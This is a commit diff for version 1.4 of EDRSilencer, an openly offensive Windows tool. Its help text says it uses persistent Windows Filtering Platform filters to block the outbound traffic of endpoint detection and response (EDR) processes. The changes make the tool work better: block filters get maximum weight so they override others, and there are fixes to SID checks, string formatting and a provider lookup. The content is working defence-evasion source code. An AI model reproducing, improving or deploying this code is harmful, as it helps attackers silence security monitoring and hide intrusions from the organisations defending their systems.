Verion 1.4: bug fixes

checking the SID structure for TokenIntegrityLevel

EDRSilencer.c

@@ -172,6 +172,9 @@ void BlockEdrProcessTraffic() {
                 filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
                 filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
                 filter.action.type = FWP_ACTION_BLOCK;
+                UINT64 weightValue = 0xFFFFFFFFFFFFFFFF;
+                filter.weight.type = FWP_UINT64;
+                filter.weight.uint64 = &weightValue;
                 cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
                 cond.matchType = FWP_MATCH_EQUAL;
                 cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
@@ -277,6 +280,9 @@ void BlockProcessTraffic(char* fullPath) {
     filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
     filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
     filter.action.type = FWP_ACTION_BLOCK;
+    UINT64 weightValue = 0xFFFFFFFFFFFFFFFF;
+    filter.weight.type = FWP_UINT64;
+    filter.weight.uint64 = &weightValue;
     cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
     cond.matchType = FWP_MATCH_EQUAL;
     cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
@@ -428,7 +434,7 @@ void UnblockWfpFilter(UINT64 filterId) {
 
 void PrintHelp() {
     printf("Usage: EDRSilencer.exe <blockedr/block/unblockall/unblock>\n");
-    printf("Version: 1.3\n");
+    printf("Version: 1.4\n");
     printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of all detected EDR processes:\n");
     printf("  EDRSilencer.exe blockedr\n\n");
     printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of a specific process (full path is required):\n");

utils.c

@@ -41,6 +41,13 @@ BOOL CheckProcessIntegrityLevel() {
         return FALSE;
     }
 
+    if (pTIL->Label.Sid == NULL || *GetSidSubAuthorityCount(pTIL->Label.Sid) < 1) {
+        printf("[-] SID structure is invalid.\n");
+        LocalFree(pTIL);
+        CloseHandle(hToken);
+        return FALSE;
+    }
+	
     dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
 
     if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
@@ -134,7 +141,7 @@ ErrorCode ConvertToNtPath(PCWSTR filePath, wchar_t* ntPathBuffer, size_t bufferS
         return CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME;
     }
 
-    swprintf(ntPathBuffer, bufferSize, L"%S%S", ntDrivePath, filePath + wcslen(driveName));
+    swprintf(ntPathBuffer, bufferSize, L"%ls%ls", ntDrivePath, filePath + wcslen(driveName));
     
     for (size_t i = 0; ntPathBuffer[i] != L'\0'; ++i) {
         ntPathBuffer[i] = towlower(ntPathBuffer[i]);
@@ -218,11 +225,13 @@ BOOL GetProviderGUIDByDescription(PCWSTR providerDescription, GUID* outProviderG
         return FALSE;
     }
 
+    BOOL found = FALSE;
     for (UINT32 i = 0; i < numProviders; i++) {
         if (providers[i]->displayData.description != NULL) {
             if (wcscmp(providers[i]->displayData.description, providerDescription) == 0) {
                 *outProviderGUID = providers[i]->providerKey;
-                return TRUE;
+                found = TRUE;
+                break;
             }
         }   
     }
@@ -233,5 +242,5 @@ BOOL GetProviderGUIDByDescription(PCWSTR providerDescription, GUID* outProviderG
 
     FwpmProviderDestroyEnumHandle0(hEngine, enumHandle);
     FwpmEngineClose0(hEngine);
-    return FALSE;
+    return found;
 }